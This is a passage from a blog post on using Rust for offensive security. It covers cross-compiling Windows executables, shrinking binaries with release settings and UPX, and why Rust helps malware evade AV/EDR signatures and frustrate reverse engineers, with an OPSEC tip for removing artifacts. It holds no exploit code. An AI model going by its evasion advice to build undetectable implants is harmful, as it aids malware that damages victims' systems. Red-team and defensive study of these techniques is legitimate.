  5. RustRedOps: A repository of advanced offensive techniques implemented in Rust, including process injection, syscall evasion, and more.
  6. Sliver: While the primary codebase is Go, Sliver’s implant generation supports Rust for stealthier agents.

Cross-compilation
#

One of Rust’s strengths is its strong cross-compilation support. You can build Windows executables from Linux.

Setup
#

# Add Windows target
rustup target add x86_64-pc-windows-gnu

# Install the linker
sudo apt install mingw-w64

Build
#

cargo build --release --target x86_64-pc-windows-gnu

Your executable will be in target/x86_64-pc-windows-gnu/release/.

Optimizing binary size
#

Rust binaries can be large due to static linking and debug info. Add this to Cargo.toml:

[profile.release]
opt-level = "z"   # Optimize for size
lto = true        # Link-Time Optimization
codegen-units = 1 # Single codegen unit for better optimization
panic = "abort"   # No unwinding (smaller binary)
strip = true      # Strip symbols

Then install and use upx for extra compression:

upx --best target/release/your_tool.exe

Pros and cons for red team operators
#

FeatureRustC/C++PythonGo
PerformanceStrongStrongPoorGood
Memory SafetyCompile-timeManualManagedManaged (GC)
Binary SizeMedium-LargeSmallN/A (Interpreter)Large
Cross-compilationStrongDifficultN/AStrong
AV/EDR evasionGood (novel signatures)GoodPoor (known tools)Good
Learning CurveSteepHighLowModerate
Asynchronous I/OStrongDifficultGood (asyncio)Strong
Windows APIStrong (windows crate)NativePoorGood
Best use caseAgents, exploit developmentshellcode, OS devScriptingImplants, tooling

Why Rust for malware
#

  1. Novel Signatures: Most AV/EDR vendors build signatures around C, C++, C#, and PowerShell patterns. Rust compiles differently, and its standard library is less “known” to signature engines.
  2. Stability: Memory safety means your implant is less likely to crash during a critical operation.
  3. Performance: Asynchronous I/O with tokio enables C2 agents that can handle many concurrent connections.
  4. Obfuscation: The compiled output is harder to reverse-engineer than C# or Go.

The Other Side: Reversing Rust Binaries
#

As a red teamer, you need to know what the blue team sees. Rust binaries are notoriously difficult to reverse engineer, which works in our favor, but you should understand why.

The “Hello World” Bloat
#

If you compile a “Hello World” in C, it’s a few kilobytes. In Rust, it might be 300KB or more. This is because Rust statically links its standard library by default. While you can strip symbols (strip = true), the binary structure remains complex.

Name Mangling
#

Rust uses aggressive name mangling. A function named connect_c2 might appear in the symbol table as _ZN10my_implant10connect_c217h8923a.... Tools like IDA Pro and Ghidra have plugins to demangle these, but it adds friction for the analyst.

Panics and Metadata
#

Rust binaries are chatty. If your code panics (for example unwrap() on a None), it often prints a file path and line number. thread 'main' panicked at 'called Option::unwrap() on a None value', src/main.rs:55:12

OPSEC Tip: Always use panic = "abort" in your release profile. This removes the unwinding machinery and reduces string artifacts.

[profile.release]
panic = "abort"
strip = true
lto = true

Decompilation Complexity
#

Because Rust relies on monomorphization (generating a unique copy of a generic function for each concrete type), the control flow graph in a decompiler can look like spaghetti. Methods like Vec<T>::push will appear dozens of times, once for Vec<u8>, once for Vec<String>, etc. This repetitive noise exhausts analysts.


Conclusion
#

Rust is a strong choice for offensive security. It provides the low-level control of C with modern abstractions and the safety guarantees of higher-level languages. For malware development, Rust is becoming a favorite because identifying signatures in compiled Rust binaries is harder for AV/EDR than analyzing C# or PowerShell.

By mastering Ownership, Borrowing, and the unsafe keyword, you can build tools that are not only faster than the competition but more reliable in the field. The learning curve is steep - the borrow checker will fight you at first - but the payoff is immense.

Happy coding, and good hunting!


References
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.